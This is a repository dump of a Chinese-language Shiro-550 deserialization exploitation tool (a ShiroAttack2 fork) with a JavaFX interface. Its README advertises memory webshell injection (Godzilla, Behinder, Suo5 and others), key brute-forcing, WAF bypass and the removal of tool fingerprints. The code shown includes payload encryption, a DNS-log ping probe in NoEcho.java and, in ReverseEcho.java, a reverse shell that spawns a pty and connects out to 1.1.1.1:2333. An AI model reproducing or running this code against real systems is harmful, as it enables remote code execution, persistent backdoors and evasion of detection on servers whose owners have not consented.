├── .idea
├── .gitignore
├── compiler.xml
├── jarRepositories.xml
├── misc.xml
└── vcs.xml
├── README.md
├── docs
├── BypassWaf.md
├── CNAME
├── FAQ.md
├── NoGadget.md
├── README.md
├── _config.yml
├── ads.txt
└── memshell.md
├── lib
├── 1.8.3
│ └── commons-beanutils-1.8.3.jar
└── 1.9.2
│ └── commons-beanutils-1.9.2.jar
├── pom.xml
└── src
├── META-INF
└── MANIFEST.MF
└── main
├── java
├── META-INF
│ └── MANIFEST.MF
├── com
│ └── summersec
│ │ ├── attack
│ │ ├── Encrypt
│ │ │ ├── CbcEncrypt.java
│ │ │ ├── Encrypt.java
│ │ │ ├── EncryptInterface.java
│ │ │ ├── GcmEncrypt.java
│ │ │ ├── JcaCipherService.java
│ │ │ ├── KeyGenerator.java
│ │ │ ├── ShiroGCM.java
│ │ │ └── package-info.java
│ │ ├── UI
│ │ │ ├── Main.java
│ │ │ └── MainController.java
│ │ ├── core
│ │ │ ├── AttackService.java
│ │ │ └── demo.java
│ │ ├── deser
│ │ │ ├── echo
│ │ │ │ ├── AllEcho.java
│ │ │ │ ├── EchoPayload.java
│ │ │ │ ├── NoEcho.java
│ │ │ │ ├── ReverseEcho.java
│ │ │ │ ├── SpringEcho.java
│ │ │ │ ├── TomcatEcho.java
│ │ │ │ ├── TomcatEcho2.java
│ │ │ │ └── dfs.java
│ │ │ ├── frame
│ │ │ │ ├── FramePayload.java
│ │ │ │ └── Shiro.java
│ │ │ ├── payloads
│ │ │ │ ├── CommonsBeanutils1.java
│ │ │ │ ├── CommonsBeanutils1_183.java
│ │ │ │ ├── CommonsBeanutilsAttrCompare.java
│ │ │ │ ├── CommonsBeanutilsAttrCompare_183.java
│ │ │ │ ├── CommonsBeanutilsObjectToStringComparator.java
│ │ │ │ ├── CommonsBeanutilsObjectToStringComparator_183.java
│ │ │ │ ├── CommonsBeanutilsPropertySource.java
│ │ │ │ ├── CommonsBeanutilsPropertySource_183.java
│ │ │ │ ├── CommonsBeanutilsString.java
│ │ │ │ ├── CommonsBeanutilsString_183.java
│ │ │ │ ├── CommonsBeanutilsString_192s.java
│ │ │ │ ├── CommonsCollections2.java
│ │ │ │ ├── CommonsCollections3.java
│ │ │ │ ├── CommonsCollectionsK1.java
│ │ │ │ ├── CommonsCollectionsK2.java
│ │ │ │ ├── ObjectPayload.java
│ │ │ │ ├── URLDNS.java
│ │ │ │ ├── annotation
│ │ │ │ │ ├── Authors.java
│ │ │ │ │ ├── Dependencies.java
│ │ │ │ │ └── PayloadTest.java
│ │ │ │ └── test.java
│ │ │ ├── plugins
│ │ │ │ ├── InjectMemTool.java
│ │ │ │ ├── InjectPayload.java
│ │ │ │ ├── keytest
│ │ │ │ │ └── KeyEcho.java
│ │ │ │ ├── orgFile
│ │ │ │ │ └── InjectMemToolFile.java
│ │ │ │ └── servlet
│ │ │ │ │ └── MemBytes.java
│ │ │ └── util
│ │ │ │ ├── ClassFiles.java
│ │ │ │ ├── CommonUtil.java
│ │ │ │ ├── CommonUtils.java
│ │ │ │ ├── DynamicDependencies.java
│ │ │ │ ├── Gadgets.java
│ │ │ │ ├── GadgetsK.java
│ │ │ │ ├── Gadgets_orgin.java
│ │ │ │ ├── Gadgetsasm.java
│ │ │ │ ├── Gadgetsplugin.java
│ │ │ │ ├── JavaVersion.java
│ │ │ │ ├── JavassistClassLoader.java
│ │ │ │ ├── Reflections.java
│ │ │ │ ├── StandardExecutorClassLoader.java
│ │ │ │ ├── Strings.java
│ │ │ │ └── SuidClassLoader.java
│ │ ├── entity
│ │ │ ├── ControllersFactory.java
│ │ │ └── RequestInfo.java
│ │ └── utils
│ │ │ ├── AesUtil.java
│ │ │ ├── Console.java
│ │ │ ├── ConvertUtil.java
│ │ │ ├── HttpUtil.java
│ │ │ ├── HttpUtil_bak.java
│ │ │ ├── HttpUtils.java
│ │ │ ├── MessageUtil.java
│ │ │ ├── MyCert.java
│ │ │ ├── UserAgentUtil.java
│ │ │ └── Utils.java
│ │ └── x
│ │ ├── AddDllFilter.java
│ │ ├── AntSwordFilter.java
│ │ ├── AntSwordServlet.java
│ │ ├── BastionEncryFilter.java
│ │ ├── BastionFilter.java
│ │ ├── BehinderFilter.java
│ │ ├── BehinderServlet.java
│ │ ├── ChangeShiroKeyFilter.java
│ │ ├── ChangeShiroKeyFilter2.java
│ │ ├── FilterMem.java
│ │ ├── GodzillaFilter.java
│ │ ├── GodzillaServlet.java
│ │ ├── GodzillaTomServlet.java
│ │ ├── NeoreGeorgFilter.java
│ │ ├── NeoreGeorgServlet.java
│ │ ├── Suo5Filter.java
│ │ ├── Suo5Filterv0_6_0.java
│ │ ├── UpgradeMemshell.java
│ │ ├── reGeorgFilter.java
│ │ └── reGeorgServlet.java
└── org
│ └── apache
│ └── shiro
│ ├── crypto
│ └── cipher
│ │ ├── AbstractSymmetricCipherService.java
│ │ ├── AesCipherService.java
│ │ ├── BlowfishCipherService.java
│ │ ├── ByteSourceBroker.java
│ │ ├── ByteSourceUser.java
│ │ ├── CipherService.java
│ │ ├── DefaultBlockCipherService.java
│ │ ├── JcaCipherService.java
│ │ ├── OperationMode.java
│ │ ├── PaddingScheme.java
│ │ ├── SimpleByteSourceBroker.java
│ │ └── package-info.java
│ ├── lang
│ ├── ShiroException.java
│ ├── codec
│ │ ├── Base64.java
│ │ ├── CodecException.java
│ │ ├── CodecSupport.java
│ │ ├── H64.java
│ │ ├── Hex.java
│ │ └── package-info.java
│ └── util
│ │ ├── Assert.java
│ │ ├── ByteSource.java
│ │ ├── ClassUtils.java
│ │ ├── Destroyable.java
│ │ ├── Factory.java
│ │ ├── Initializable.java
│ │ ├── InstantiationException.java
│ │ ├── LifecycleUtils.java
│ │ ├── Nameable.java
│ │ ├── SimpleByteSource.java
│ │ ├── SoftHashMap.java
│ │ ├── StringUtils.java
│ │ └── UnknownClassException.java
│ └── util
│ ├── ByteSourceWrapper.java
│ └── ByteUtils.java
└── resources
├── Tomcat.txt
├── allatori.xml
├── commons-beanutils-1.8.3.txt
├── data
└── shiro_keys.txt
├── gui.fxml
├── gui.fxml.bak
└── log4j.properties
/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 | # Editor-based HTTP Client requests
5 | /httpRequests/
6 | # Datasource local storage ignored files
7 | /dataSources/
8 | /dataSources.local.xml
9 |
--------------------------------------------------------------------------------
/.idea/compiler.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
17 |
18 |
--------------------------------------------------------------------------------
/.idea/jarRepositories.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | 一款针对Shiro550漏洞进行快速漏洞利用工具。
2 | 对 @SummerSec 大佬的项目https://github.com/SummerSec/ShiroAttack2 进行了一些改进。具体修改内容如下
3 | ## 添加
4 | - [x] 增加[Suo5](https://github.com/zema1/suo5) v0.8.0内存马
5 | - [x] 增加[UpgradeMemshell](https://mp.weixin.qq.com/s/RuP8cfjUXnLVJezBBBqsYw)内存马
6 | - [x] 增加内存马自定义payload key选项,消除工具特征
7 | - [x] 消除内存马pass、path特征
8 |
9 |
10 | ## 修改
11 | - [x] 修改加载keys的方式为`classLoader.getResourceAsStream`,不需要在工具目录下创建data/shiro_keys(若要自定义新增密钥,可以工具目录下创建data/shiro_keys)
12 | - [x] 修改了一些显示bug,如内存马已存在时显示信息过多
13 | - [x] 兼容新增内存马的显示,如UpgradeMemshell
14 |
15 | 有什么需求欢迎在issue里提
16 |
17 | 原README如下
18 |
19 | ---
20 |
21 | #
22 |
23 |
ShiroAttack2
24 | 一款针对Shiro550漏洞进行快速漏洞利用
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 | ## 前言
41 |
42 | 关于该工具更新内容介绍后续会更新到博客下面**https://shiro.sumsec.me/**
43 |
44 | ## 工具特点
45 |
46 | * javafx
47 | * 处理没有第三方依赖的情况
48 | * 支持多版本CommonsBeanutils的gadget
49 | * 支持内存马
50 | * 采用直接回显执行命令
51 | * 添加了更多的CommonsBeanutils版本gadget
52 | * 支持修改rememberMe关键词
53 | * 支持直接爆破利用gadget和key
54 | * 支持代理
55 | * 添加修改shirokey功能(使用内存马的方式)**可能导致业务异常**
56 | * 支持内存马小马
57 | * 添加DFS算法回显(AllECHO)
58 | * 支持自定义请求头,格式:abc:123&&&test:123
59 |
60 | ## FAQ 常见问题见
61 |
62 | [FAQ](./docs/FAQ.md)
63 |
64 |
65 |
66 | ## 使用方法
67 |
68 | 直接使用shiro_attack-{version}-SNAPSHOT-all.jar第三版
69 |
70 | 
71 |
72 | 在jar的当前目录下创建一个data文件夹,里面创建一个shiro_keys.txt文件,文件内容是shiro_key。lib目前是CommonsBeanutils依赖的版本。
73 |
74 | 
75 |
76 |
77 |
78 | ---
79 |
80 | ## :b:免责声明
81 |
82 | 该工具仅用于安全自查检测
83 |
84 | 由于传播、利用此工具所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。
85 |
86 | 本人拥有对此工具的修改和解释权。未经网络安全部门及相关部门允许,不得善自使用本工具进行任何攻击活动,不得以任何方式将其用于商业目的。
87 |
88 | 该工具只授权于企业内部进行问题排查,请勿用于非法用途,请遵守网络安全法,否则后果作者概不负责
89 |
90 | ----
91 |
92 | 
93 |
94 |
--------------------------------------------------------------------------------
/docs/BypassWaf.md:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/altEr1125/ShiroAttack2/5bd4ec1b1cf749ff684792cdcbe0976755e297ca/docs/BypassWaf.md
--------------------------------------------------------------------------------
/docs/CNAME:
--------------------------------------------------------------------------------
1 | shiro.sumsec.me
--------------------------------------------------------------------------------
/docs/FAQ.md:
--------------------------------------------------------------------------------
1 | 已知问题但目前无法解决
2 |
3 | 1. 有人反馈有些网站4.3版本能打,但4.4和4.5版本不行。排查了一波源码不同点,目前没找到问题所在地方。
4 | 2. 4.5版本更新ALLEcho之后,让工具变得“卡”,因为使用DFS算法,本身会有一定的延迟。这是算法本身原因,不可避免。所以4.5版本不建议使用爆破漏洞利用链功能,建议之间手动一个个尝试。
5 | 2. 部分环境可能存在的问题,详情情况。 https://github.com/SummerSec/ShiroAttack2/issues/8
--------------------------------------------------------------------------------
/docs/NoGadget.md:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/altEr1125/ShiroAttack2/5bd4ec1b1cf749ff684792cdcbe0976755e297ca/docs/NoGadget.md
--------------------------------------------------------------------------------
/docs/README.md:
--------------------------------------------------------------------------------
1 | # shiro550反序列化漏洞利用工具
2 |
3 | ShiroAttack2
4 | 一款针对Shiro550漏洞进行快速漏洞利用
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 | ---
21 | ## 使用方法
22 |
23 | 直接使用shiro_attack-{version}-SNAPSHOT-all.jar第三版
24 |
25 | 
26 |
27 | 在jar的当前目录下创建一个data文件夹,里面创建一个shiro_keys.txt文件,文件内容是shiro_key。lib目前是CommonsBeanutils依赖的版本。
28 |
29 | 
30 |
31 | 特殊shiro漏洞打法(有时间再写):
32 |
33 | * 关于内存马模块的使用方法,请参考内存马模块的使用方法。
34 | [MemShell](./memshell.md)
35 | * 关于有key无链漏洞的使用方法,请参考无key漏洞的使用方法。
36 | [NoGadget](./NoGadget.md)
37 | * 关于bypass waf方法,请参考bypass waf方法。
38 | [BypassWaf](./BypassWaf.md)
39 |
40 |
41 | ## FAQ 常见问题见
42 |
43 | [FAQ](./FAQ.md)
44 |
45 |
46 |
47 | ---
48 | ## :b:免责声明
49 |
50 | 该工具仅用于安全自查检测
51 |
52 | 由于传播、利用此工具所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。
53 |
54 | 本人拥有对此工具的修改和解释权。未经网络安全部门及相关部门允许,不得善自使用本工具进行任何攻击活动,不得以任何方式将其用于商业目的。
55 |
56 | 该工具只授权于企业内部进行问题排查,请勿用于非法用途,请遵守网络安全法,否则后果作者概不负责
57 |
58 | ----
59 |
60 | 
--------------------------------------------------------------------------------
/docs/_config.yml:
--------------------------------------------------------------------------------
1 | theme: jekyll-theme-cayman
--------------------------------------------------------------------------------
/docs/ads.txt:
--------------------------------------------------------------------------------
1 | google.com, pub-4943002733193231, DIRECT, f08c47fec0942fa0
--------------------------------------------------------------------------------
/docs/memshell.md:
--------------------------------------------------------------------------------
1 | #
--------------------------------------------------------------------------------
/lib/1.8.3/commons-beanutils-1.8.3.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/altEr1125/ShiroAttack2/5bd4ec1b1cf749ff684792cdcbe0976755e297ca/lib/1.8.3/commons-beanutils-1.8.3.jar
--------------------------------------------------------------------------------
/lib/1.9.2/commons-beanutils-1.9.2.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/altEr1125/ShiroAttack2/5bd4ec1b1cf749ff684792cdcbe0976755e297ca/lib/1.9.2/commons-beanutils-1.9.2.jar
--------------------------------------------------------------------------------
/src/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Main-Class: com.summersec.attack.UI.Main
3 |
4 |
--------------------------------------------------------------------------------
/src/main/java/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Main-Class: com.summersec.attack.UI.Main
3 |
4 |
--------------------------------------------------------------------------------
/src/main/java/com/summersec/attack/Encrypt/CbcEncrypt.java:
--------------------------------------------------------------------------------
1 | package com.summersec.attack.Encrypt;
2 |
3 | import org.apache.shiro.codec.Base64;
4 | import org.apache.shiro.crypto.AesCipherService;
5 | import org.apache.shiro.util.ByteSource;
6 | import org.apache.shiro.util.SimpleByteSource;
7 |
8 | import java.io.ByteArrayOutputStream;
9 | import java.io.IOException;
10 | import java.io.ObjectOutputStream;
11 |
12 | public class CbcEncrypt implements EncryptInterface {
13 | @Override
14 | public String getName() {
15 | return "cbc";
16 | }
17 |
18 | @Override
19 | public byte[] getBytes(Object obj) throws IOException {
20 | ByteArrayOutputStream byteArrayOutputStream = null;
21 | ObjectOutputStream objectOutputStream = null;
22 | byteArrayOutputStream = new ByteArrayOutputStream();
23 | objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
24 | objectOutputStream.writeObject(obj);
25 | objectOutputStream.flush();
26 | return byteArrayOutputStream.toByteArray();
27 | }
28 |
29 | @Override
30 | public String encrypt(String key, byte[] objectBytes) {
31 |
32 | byte[] keyDecode = Base64.decode(key);
33 | AesCipherService cipherService = new AesCipherService();
34 | SimpleByteSource byteSource = (SimpleByteSource) cipherService.encrypt(objectBytes, keyDecode);
35 | return byteSource.toBase64();
36 |
37 | }
38 | }
39 |
--------------------------------------------------------------------------------
/src/main/java/com/summersec/attack/Encrypt/Encrypt.java:
--------------------------------------------------------------------------------
1 | package com.summersec.attack.Encrypt;
2 |
3 | import sun.misc.BASE64Encoder;
4 |
5 | import javax.crypto.Cipher;
6 | import javax.crypto.spec.IvParameterSpec;
7 | import javax.crypto.spec.SecretKeySpec;
8 | import java.security.SecureRandom;
9 |
10 | /**
11 | * @ClassName: encrypy
12 | * @Description: TODO
13 | * @Author: Summer
14 | * @Date: 2021/1/19 20:25
15 | * @Version: v1.0.0
16 | * @Description:
17 | **/
18 | public class Encrypt {
19 |
20 | public static String encrypt(byte[] serialized, byte[] key) throws Exception {
21 |
22 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");//"算法/模式/补码方式"
23 |
24 | int sizeInBytes = 16;
25 | byte[] iv = new byte[sizeInBytes];
26 | SecureRandom random = new SecureRandom();
27 | random.nextBytes(iv);
28 | SecretKeySpec skeySpec = new SecretKeySpec(key, "AES");
29 | //偏移量
30 | IvParameterSpec ivSpec = new IvParameterSpec(iv);
31 | cipher.init(Cipher.ENCRYPT_MODE, skeySpec, ivSpec);
32 | byte[] encrypted = cipher.doFinal(serialized);
33 | byte[] output;
34 | output = new byte[iv.length + encrypted.length];
35 | System.arraycopy(iv, 0, output, 0, iv.length);
36 | System.arraycopy(encrypted, 0, output, iv.length, encrypted.length);
37 | return (new BASE64Encoder().encode(output)).replaceAll("\r\n","");
38 | }
39 |
40 | }
41 |
--------------------------------------------------------------------------------
/src/main/java/com/summersec/attack/Encrypt/EncryptInterface.java:
--------------------------------------------------------------------------------
1 | package com.summersec.attack.Encrypt;
2 |
3 | import java.io.IOException;
4 |
5 | public interface EncryptInterface {
6 | byte[] getBytes(Object obj) throws IOException;
7 |
8 | String encrypt(String key, byte[] objectBytes);
9 |
10 | String getName();
11 | }
12 |
--------------------------------------------------------------------------------
/src/main/java/com/summersec/attack/Encrypt/GcmEncrypt.java:
--------------------------------------------------------------------------------
1 | package com.summersec.attack.Encrypt;
2 |
3 | import cn.hutool.crypto.SecureUtil;
4 | import cn.hutool.crypto.symmetric.AES;
5 | import org.apache.shiro.codec.Base64;
6 |
7 | import javax.crypto.Cipher;
8 | import javax.crypto.spec.GCMParameterSpec;
9 | import javax.crypto.spec.SecretKeySpec;
10 | import java.io.ByteArrayOutputStream;
11 | import java.io.IOException;
12 | import java.io.ObjectOutputStream;
13 | import java.security.NoSuchAlgorithmException;
14 | import java.security.SecureRandom;
15 | import java.util.Arrays;
16 |
17 | public class GcmEncrypt implements EncryptInterface {
18 | @Override
19 | public String getName() {
20 | return "gcm";
21 | }
22 |
23 | @Override
24 | public byte[] getBytes(Object obj) throws IOException {
25 | ByteArrayOutputStream byteArrayOutputStream = null;
26 | ObjectOutputStream objectOutputStream = null;
27 | byteArrayOutputStream = new ByteArrayOutputStream();
28 | objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
29 | objectOutputStream.writeObject(obj);
30 | objectOutputStream.flush();
31 | return byteArrayOutputStream.toByteArray();
32 | }
33 |
34 | @Override
35 | public String encrypt(String key, byte[] payload) {
36 | try {
37 | byte[] raw = Base64.decode(key);
38 | byte[] ivs = generateInitializationVector();
39 | SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
40 | Cipher cipher = Cipher.getInstance("AES/GCM/PKCS5Padding");
41 | GCMParameterSpec iv = new GCMParameterSpec(128, ivs);
42 | cipher.init(1, skeySpec, iv);
43 | byte[] encrypted = cipher.doFinal(pad(payload));
44 | return new String(Base64.encode(byteMerger(ivs, encrypted)));
45 | } catch (Exception exception) {
46 | return "0";
47 | }
48 | }
49 |
50 | private static SecureRandom secureRandom;
51 |
52 | private static int initializationVectorSize = 128;
53 |
54 | private static byte[] pad(byte[] s) {
55 | s = byteMerger(s, charToByte((char)(16 - s.length % 16)));
56 | return s;
57 | }
58 |
59 | private static byte[] charToByte(char c) {
60 | byte[] b = new byte[2];
61 | b[0] = (byte)((c & 0xFF00) >> 8);
62 | b[1] = (byte)(c & 0xFF);
63 | return b;
64 | }
65 |
66 | private static byte[] byteMerger(byte[] bt1, byte[] bt2) {
67 | byte[] bt3 = new byte[bt1.length + bt2.length];
68 | System.arraycopy(bt1, 0, bt3, 0, bt1.length);
69 | System.arraycopy(bt2, 0, bt3, bt1.length, bt2.length);
70 | return bt3;
71 | }
72 |
73 | private static byte[] generateInitializationVector() {
74 | int size = getInitializationVectorSize();
75 | int sizeInBytes = size / 8;
76 | byte[] ivBytes = new byte[sizeInBytes];
77 | SecureRandom random = ensureSecureRandom();
78 | random.nextBytes(ivBytes);
79 | return ivBytes;
80 | }
81 |
82 | private static SecureRandom ensureSecureRandom() {
83 | SecureRandom random = getSecureRandom();
84 | if (random == null)
85 | random = getDefaultSecureRandom();
86 | return random;
87 | }
88 |
89 | private static SecureRandom getSecureRandom() {
90 | return secureRandom;
91 | }
92 |
93 | private static SecureRandom getDefaultSecureRandom() {
94 | try {
95 | return SecureRandom.getInstance("SHA1PRNG");
96 | } catch (NoSuchAlgorithmException e) {
97 | return new SecureRandom();
98 | }
99 | }
100 |
101 | private static int getInitializationVectorSize() {
102 | return initializationVectorSize;
103 | }
104 | }
105 |
--------------------------------------------------------------------------------
/src/main/java/com/summersec/attack/Encrypt/JcaCipherService.java:
--------------------------------------------------------------------------------
1 | package com.summersec.attack.Encrypt;
2 |
3 | /**
4 | * @ClassName: JcaCipherService
5 | * @Description: TODO
6 | * @Author: Summer
7 | * @Date: 2022/4/18 15:17
8 | * @Version: v1.0.0
9 | * @Description:
10 | **/
11 | public class JcaCipherService {
12 | }
13 |
--------------------------------------------------------------------------------
/src/main/java/com/summersec/attack/Encrypt/KeyGenerator.java:
--------------------------------------------------------------------------------
1 | package com.summersec.attack.Encrypt;
2 |
3 | import org.apache.shiro.codec.Base64;
4 |
5 | import javax.crypto.SecretKey;
6 | import java.security.NoSuchAlgorithmException;
7 |
8 | /**
9 | * @ClassName: KeyGenerator
10 | * @Description: TODO
11 | * @Author: Summer
12 | * @Date: 2021/12/3 11:54
13 | * @Version: v1.0.0
14 | * @Description:
15 | **/
16 | public class KeyGenerator {
17 | public static void main(String[] args) {
18 | KeyGenerator keyGenerator = new KeyGenerator();
19 | System.out.println(keyGenerator.getKey());
20 |
21 | }
22 |
23 | public String getKey() {
24 | javax.crypto.KeyGenerator keygen = null;
25 | try {
26 | keygen = javax.crypto.KeyGenerator.getInstance("AES");
27 | } catch (NoSuchAlgorithmException e) {
28 | e.printStackTrace();
29 | }
30 | SecretKey deskey = keygen.generateKey();
31 | return Base64.encodeToString(deskey.getEncoded());
32 | }
33 | }
34 |
--------------------------------------------------------------------------------
/src/main/java/com/summersec/attack/Encrypt/ShiroGCM.java:
--------------------------------------------------------------------------------
1 | package com.summersec.attack.Encrypt;
2 |
3 | import org.apache.shiro.codec.Base64;
4 | import org.apache.shiro.crypto.AesCipherService;
5 | import org.apache.shiro.util.ByteSource;
6 |
7 | import java.io.ByteArrayOutputStream;
8 | import java.io.IOException;
9 | import java.io.ObjectOutputStream;
10 |
11 | /**
12 | * @ClassName: ShiroGCM
13 | * @Description: TODO
14 | * @Author: Summer
15 | * @Date: 2022/4/18 15:05
16 | * @Version: v1.0.0
17 | * @Description:
18 | **/
19 | public class ShiroGCM implements EncryptInterface{
20 |
21 | @Override
22 | public byte[] getBytes(Object obj) throws IOException {
23 | ByteArrayOutputStream byteArrayOutputStream = null;
24 | ObjectOutputStream objectOutputStream = null;
25 | byteArrayOutputStream = new ByteArrayOutputStream();
26 | objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
27 | objectOutputStream.writeObject(obj);
28 | objectOutputStream.flush();
29 | return byteArrayOutputStream.toByteArray();
30 | }
31 |
32 | @Override
33 | public String encrypt(String key, byte[] objectBytes) {
34 | try {
35 | byte[] keyDecode = Base64.decode(key);
36 | org.apache.shiro.crypto.cipher.AesCipherService cipherService = new org.apache.shiro.crypto.cipher.AesCipherService();
37 | org.apache.shiro.lang.util.SimpleByteSource byteSource = ( org.apache.shiro.lang.util.SimpleByteSource) cipherService.encrypt(objectBytes, keyDecode);
38 | return byteSource.toBase64();
39 | }catch (Exception e){
40 | e.printStackTrace();
41 | }
42 |
43 | return null;
44 |
45 | }
46 |
47 | @Override
48 | public String getName() {
49 | return "gcm";
50 | }
51 | }
52 |
--------------------------------------------------------------------------------
/src/main/java/com/summersec/attack/Encrypt/package-info.java:
--------------------------------------------------------------------------------
1 | package com.summersec.attack.Encrypt;
2 | // 加密模块
--------------------------------------------------------------------------------
/src/main/java/com/summersec/attack/UI/Main.java:
--------------------------------------------------------------------------------
1 |
2 | package com.summersec.attack.UI;
3 |
4 | import com.summersec.attack.utils.HttpUtil_bak;
5 | import javafx.application.Application;
6 | import javafx.fxml.FXMLLoader;
7 | import javafx.scene.Parent;
8 | import javafx.scene.Scene;
9 | import javafx.stage.Stage;
10 |
11 | public class Main extends Application {
12 | public Main() {
13 | }
14 |
15 | @Override
16 | public void start(Stage primaryStage) throws Exception {
17 | Parent root = FXMLLoader.load(getClass().getResource("/gui.fxml"));
18 | primaryStage.setTitle("shiro反序列化漏洞综合利用工具 增强版");
19 | Scene scene = new Scene(root);
20 | primaryStage.setScene(scene);
21 | primaryStage.show();
22 | HttpUtil_bak.disableSslVerification();
23 | }
24 |
25 | public static void main(String[] args) {
26 | launch(args);
27 | }
28 | }
29 |
--------------------------------------------------------------------------------
/src/main/java/com/summersec/attack/core/demo.java:
--------------------------------------------------------------------------------
1 | package com.summersec.attack.core;
2 |
3 | import java.io.File;
4 | import java.io.FileInputStream;
5 | import java.security.SecureRandom;
6 | import java.util.Random;
7 |
8 | /**
9 | * @ClassName: demo
10 | * @Description: TODO
11 | * @Author: Summer
12 | * @Date: 2021/7/12 16:03
13 | * @Version: v1.0.0
14 | * @Description:
15 | **/
16 | public class demo {
17 | public static String getRandomString(int length){
18 | String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
19 | SecureRandom random= new SecureRandom();
20 | StringBuffer sb=new StringBuffer();
21 | for(int i=0;i {
8 | CtClass genPayload(ClassPool paramClassPool) throws Exception;
9 |
10 | public static class Utils
11 | {
12 | public static Class extends EchoPayload> getPayloadClass(String className) throws ClassNotFoundException {
13 | Class extends EchoPayload> clazz = null;
14 | try {
15 | clazz = (Class)Class.forName("com.summersec.attack.deser.echo." + StringUtils.capitalize(className));
16 | } catch (ClassNotFoundException e1) {
17 | clazz = (Class)Class.forName("com.summersec.attack.deser.plugins." + StringUtils.capitalize(className));
18 | } catch (Exception e) {
19 | e.printStackTrace();
20 | }
21 | return clazz;
22 | }
23 | }
24 | }
25 |
26 |
27 |
28 |
--------------------------------------------------------------------------------
/src/main/java/com/summersec/attack/deser/echo/NoEcho.java:
--------------------------------------------------------------------------------
1 | package com.summersec.attack.deser.echo;
2 |
3 | import javassist.CannotCompileException;
4 | import javassist.ClassPool;
5 | import javassist.CtClass;
6 | import javassist.NotFoundException;
7 |
8 |
9 |
10 |
11 |
12 | public class NoEcho implements EchoPayload {
13 | @Override
14 | public CtClass genPayload(ClassPool pool) throws NotFoundException, CannotCompileException {
15 | CtClass clazz = pool.makeClass("com.summersec.x.Test" + System.nanoTime());
16 | String command = "ping 75eoht.dnslog.cn";
17 | clazz.makeClassInitializer().insertAfter("new ProcessBuilder(System.getProperty(\"os.name\").toLowerCase().contains(\"windows\") ? new String[]{\"cmd.exe\", \"/c\", \"" + command + "\"} : new String[]{\"/bin/sh\", \"-c\", \"" + command + "\"}).start();");
18 | return clazz;
19 | }
20 | }
21 |
22 |
23 |
--------------------------------------------------------------------------------
/src/main/java/com/summersec/attack/deser/echo/ReverseEcho.java:
--------------------------------------------------------------------------------
1 | package com.summersec.attack.deser.echo;
2 |
3 | /**
4 | * @ClassName: ReverseEcho
5 | * @Description: TODO
6 | * @Author: Summer
7 | * @Date: 2021/6/22 10:18
8 | * @Version: v1.0.0
9 | * @Description:
10 | **/
11 | import javassist.CannotCompileException;
12 | import javassist.ClassPool;
13 | import javassist.CtClass;
14 | import javassist.CtNewConstructor;
15 | import javassist.NotFoundException;
16 |
17 | public class ReverseEcho implements EchoPayload {
18 | public ReverseEcho() {
19 | }
20 |
21 | @Override
22 | public CtClass genPayload(ClassPool pool) throws NotFoundException, CannotCompileException {
23 | CtClass clazz = pool.makeClass("com.summersec.x.Test" + System.nanoTime());
24 | if (clazz.getDeclaredConstructors().length != 0) {
25 | clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
26 | }
27 |
28 | clazz.addConstructor(CtNewConstructor.make("public ReverseEcho() throws Exception {\n try {\n String ip = \"1.1.1.1\";\n String port = \"2333\";\n String py_path = null;\n String[] cmd;\n if (!System.getProperty(\"os.name\").toLowerCase().contains(\"windows\")) {\n String[] py_envs = new String[]{\"/bin/python\", \"/bin/python3\", \"/usr/bin/python\", \"/usr/bin/python3\", \"/usr/local/bin/python\", \"/usr/local/bin/python3\"};\n for (int i = 0; i < py_envs.length; ++i) {\n String py = py_envs[i];\n if ((new java.io.File(py)).exists()) {\n py_path = py;\n break;\n }\n }\n if (py_path != null) {\n if ((new java.io.File(\"/bin/bash\")).exists()) {\n cmd = new String[]{py_path, \"-c\", \"import pty;pty.spawn(\\\"/bin/bash\\\")\"};\n } else {\n cmd = new String[]{py_path, \"-c\", \"import pty;pty.spawn(\\\"/bin/sh\\\")\"};\n }\n } else {\n if ((new java.io.File(\"/bin/bash\")).exists()) {\n cmd = new String[]{\"/bin/bash\"};\n } else {\n cmd = new String[]{\"/bin/sh\"};\n }\n }\n } else {\n cmd = new String[]{\"cmd.exe\"};\n }\n Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();\n java.net.Socket s = new java.net.Socket(ip, Integer.parseInt(port));\n java.io.InputStream pi = p.getInputStream();\n java.io.InputStream pe = p.getErrorStream();\n java.io.InputStream si = s.getInputStream();\n java.io.OutputStream po = p.getOutputStream();\n java.io.OutputStream so = s.getOutputStream();\n while (!s.isClosed()) {\n while (pi.available() > 0) {\n so.write(pi.read());\n }\n while (pe.available() > 0) {\n so.write(pe.read());\n }\n while (si.available() > 0) {\n po.write(si.read());\n }\n so.flush();\n po.flush();\n Thread.sleep(50L);\n try {\n p.exitValue();\n break;\n } catch (Exception e) {\n }\n 